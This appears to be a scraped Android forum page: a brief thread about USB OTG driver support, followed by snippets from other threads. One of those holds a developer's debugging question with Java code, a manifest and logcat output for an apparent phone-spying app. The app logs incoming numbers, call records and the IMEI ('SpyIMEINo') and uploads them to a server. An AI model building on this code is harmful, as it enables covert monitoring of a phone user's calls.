USB OTG driver

by stanly » Tue, 18 Jan 2011 00:12:18 GMT


Sponsored Links
 hi all,

does newest kernel version support for usb OTG driver?
I found that it works before, but now fail,
how can I build for OTG driver?

thanks

-- 



Re: USB OTG driver

by Steve Modica » Thu, 20 Jan 2011 03:16:40 GMT


 Hello Tsai,

I'm working on the same thing.  I've noticed that OTG is not working on my 
beagleboard or my Nexus S phone.  

What did you have working before?  Can you tell me what config you built with?

Steve





--
Steve Modica
CTO -  Small Tree Communications
www.small-tree.com
phone: 651-209-6509 ext 301
mobile: 651-261-3201






-- 


Sponsored Links


Other Threads

1. Problem in handling Incoming Calls

I have made broadcast receiver(BR) for incoming and outgoing calls.My
BR works fine for outgoing calls bt for incoming calls the programmes
stops and give an error to close or wait here is ma code


//IncomingCall.java

import java.util.ArrayList;
import java.util.List;
import org.apache.http.message.BasicNameValuePair;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.BaseColumns;
import android.provider.CallLog;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;


/**
 * @author mayank.b
 *
 */
public class IncomingCall extends BroadcastReceiver{

        String result="";
        final String servicefunction = "EmailCALL" ;
        static String incomingNumber = "";
        InputHandeler inputhan = new InputHandeler(servicefunction);
        static final String ACTION = "android.intent.action.PHONE_STATE";
        public void onReceive(Context context, Intent intent){

                Log.i("intent telling something","== "+intent.getData()+"  ===
"+intent.getDataString()+" === "+intent.toString());
                Bundle bundle = intent.getExtras();
                Log.i("See on Bundle", "!!== "+bundle.toString());

                if(bundle.getString("state").equalsIgnoreCase("RINGING"))
                  {
                   incomingNumber = bundle.getString("incoming_number");
                  }

                //if(bundle.getString("state").equalsIgnoreCase("IDLE"))
                   {
                           TelephonyManager tmgr =
(TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
                           Log.i("See on Bundle", "!!== "+bundle.toString());
                           Log.i("On Receive", "WE ARE INSIDE! 
Incoming!!!!!!!!!!
"+incomingNumber);

                           MyPhoneStateListener PhoneListener = new 
MyPhoneStateListener();

                  Log.i("On Receive", "WE ARE INSIDE! Incoming!!!!!!!!!! ");
                  tmgr.listen(PhoneListener, 
PhoneStateListener.LISTEN_CALL_STATE );
                  Log.i("On Receive", "WE ARE INSIDE! Incoming!!!!!!!!!!
"+tmgr.getCallState());
                  if(incomingNumber != null && tmgr.getCallState()== 1){

                String imeino = "";
                //imeino = "123456789";
                imeino = andprotect.IMEI;
                String calllog = getlastCallLogEntry(context);  // get call
duration
                List list =new ArrayList();
                        list.add(new BasicNameValuePair("SpyIMEINo", imeino));
                        list.add(new BasicNameValuePair("CallLog", calllog));
                        list.add(new BasicNameValuePair("OtherPhoneNo", 
incomingNumber));
                        result=inputhan.sendingdatatoserver(list);
                        Log.i("VALUE RESULT", "RESULT ="+result);
                        AdvanceParsingData data=new AdvanceParsingData(result);
                        result=data.getResult();
                        Log.i("VALUE RESULT", "RESULT U GOt="+result);
                 }
           }
         }

        private class MyPhoneStateListener extends PhoneStateListener
        {
         public void onCallStateChanged(int state, String incomingNumber)
         {
          Log.d("Indside MyPhoneListener","incoming no:"+incomingNumber);
         }
        }

        public String getlastCallLogEntry(Context context){

                String[] projection = new String[]{
                        BaseColumns._ID,
                        CallLog.Calls.NUMBER,
                        CallLog.Calls.DURATION,
                        CallLog.Calls.TYPE
                   };
                ContentResolver resolver = context.getContentResolver();
                Cursor crsr = resolver.query(CallLog.Calls.CONTENT_URI, 
projection,
null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
                int colnum = crsr.getColumnIndex(CallLog.Calls.NUMBER);
                int coltype = crsr.getColumnIndex(CallLog.Calls.TYPE);
                int coldur = crsr.getColumnIndex(CallLog.Calls.DURATION);

                if(!crsr.moveToNext()){
                        crsr.close();
                }

                String number = crsr.getString(colnum);
                String duration = crsr.getString(coldur);
                String type = crsr.getString(coltype);

                Log.i("number ====", number);
                Log.i("duration ====", duration);
                Log.i("type ====", type);
                return duration;
        }

}



//android mainfest.xml



<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.wit"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/
app_name">
        <activity android:name=".andprotect"
                  android:label="@string/app_name">
    <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category
android:name="android.intent.category.LAUNCHER" />
                        </intent-filter>
        </activity>

    <receiver android:name=".BroadcastService">
                <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" 
/>
                </intent-filter>
                </receiver>



        <receiver android:name=".IncomingCall">
                <intent-filter>
                <action android:name="android.intent.action.PHONE_STATE" />
                </intent-filter>
        </receiver>

        <receiver android:name=".OutGoingCalls">
                <intent-filter>
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" 
/>
                </intent-filter>
        </receiver>

        <receiver android:enabled="true" android:name=".OnbootStart">
         <intent-filter>
         <action android:name="android.intent.action.BOOT_COMPLETED" /
         <category android:name="android.intent.category.DEFAULT" />
     </intent-filter>
 </receiver>

    </application>


<uses-permission android:name="android.permission.READ_PHONE_STATE"></
uses-permission>
<uses-permission
android:name="android.permission.PROCESS_OUTGOING_CALLS"></uses-
permission>
<uses-permission android:name="android.permission.INTERNET"></uses-
permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-
permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-
permission>
<uses-permission
android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-
permission>
<uses-permission android:name="android.permission.READ_CONTACTS" />


</manifest>



log cat traces


05-12 10:19:39.960: DEBUG/dalvikvm(577): GC freed 13370 objects /
680824 bytes in 423ms
05-12 10:19:40.757: DEBUG/HomeLoaders(858):   --> starting
applications loader
05-12 10:20:00.022: WARN/ActivityManager(577): Hung broadcast
discarded after timeout failure: now=1262803 dispatchTime=1213395
startTime=1224404 intent=Intent
{ action=android.intent.action.PHONE_STATE (has extras) }
numReceivers=1 nextReceiver=1 state=1
05-12 10:20:00.040: WARN/ActivityManager(577): Timeout of broadcast
BroadcastRecord{4372ebc8 android.intent.action.PHONE_STATE} -
receiver=null
05-12 10:20:00.040: WARN/ActivityManager(577): Receiver during
timeout: ResolveInfo{4372e9f0 com.wit.IncomingCall p=0 o=0 m=0x108000}
05-12 10:20:00.170: INFO/ActivityManager(577): ANR (application not
responding) in process: com.wit
05-12 10:20:00.170: INFO/ActivityManager(577): Annotation: Broadcast
of Intent { action=android.intent.action.PHONE_STATE (has extras) }
05-12 10:20:00.170: INFO/ActivityManager(577): CPU usage:
05-12 10:20:00.170: INFO/ActivityManager(577): Load: 0.66 / 0.42 /
0.33
05-12 10:20:00.170: INFO/ActivityManager(577): CPU usage from 28693ms
to 155ms ago:
05-12 10:20:00.170: INFO/ActivityManager(577):   system_server: 12% =
8% user + 4% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   com.android.phone: 0%
= 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   qemud: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   adbd: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   events/0: 0% = 0%
user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
com.android.inputmethod.latin: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
android.process.media: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   logcat: 0% = 0% user
+ 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   rild: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   zygote: 0% = 0% user
+ 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   servicemanager: 0% =
0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
+android.process.acore: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):  -app_process: 0% = 0%
user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577): TOTAL: 41% = 28% user +
13% kernel + 0% irq + 0% softirq
05-12 10:20:00.190: INFO/ActivityManager(577): Removing old ANR trace
file from /data/anr/traces.txt
05-12 10:20:00.200: INFO/Process(577): Sending signal. PID: 858 SIG: 3
05-12 10:20:00.210: INFO/dalvikvm(858): threadid=7: reacting to signal
3
05-12 10:20:00.220: INFO/Process(577): Sending signal. PID: 618 SIG: 3
05-12 10:20:00.231: INFO/dalvikvm(618): threadid=7: reacting to signal
3
05-12 10:20:00.231: INFO/Process(577): Sending signal. PID: 677 SIG: 3
05-12 10:20:00.241: INFO/dalvikvm(677): threadid=7: reacting to signal
3
05-12 10:20:00.241: INFO/Process(577): Sending signal. PID: 645 SIG: 3
05-12 10:20:00.251: INFO/dalvikvm(645): threadid=7: reacting to signal
3
05-12 10:20:00.251: INFO/Process(577): Sending signal. PID: 664 SIG: 3
05-12 10:20:00.251: INFO/dalvikvm(664): threadid=7: reacting to signal
3
05-12 10:20:00.261: INFO/Process(577): Sending signal. PID: 689 SIG: 3
05-12 10:20:00.261: INFO/dalvikvm(689): threadid=7: reacting to signal
3
05-12 10:20:00.261: INFO/Process(577): Sending signal. PID: 577 SIG: 3
05-12 10:20:00.261: INFO/dalvikvm(577): threadid=7: reacting to signal
3
05-12 10:20:00.344: INFO/dalvikvm(858): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.380: INFO/dalvikvm(677): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.402: INFO/dalvikvm(689): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(577): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(664): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(618): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.451: WARN/ActivityManager(577): finishReceiver called
but none active
05-12 10:20:00.490: INFO/dalvikvm(645): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:05.870: DEBUG/dalvikvm(618): GC freed 6463 objects /
364752 bytes in 172ms
05-12 10:37:32.742: DEBUG/dalvikvm(618): GC freed 10417 objects /
587048 bytes in 238ms

-- 

2. Start another application from another package with an Intent

Intent i = new Intent("android.intent.action.MAIN");
ComponentName n = new
ComponentName("com.google.android.maps.mytracks",
"com.google.android.apps.mytracks.MyTracks");
i.setComponent(n);
startActivity(i);

will do it.



> 

3. Obtain list of devices in network

4. Android 2.1 and MS SQL Server

5. I love Android and could not resist to share this Android tee with you all

6. Keeping service alive across configuration changes

7. Failed to reopen debug port for Selected Client to: 8700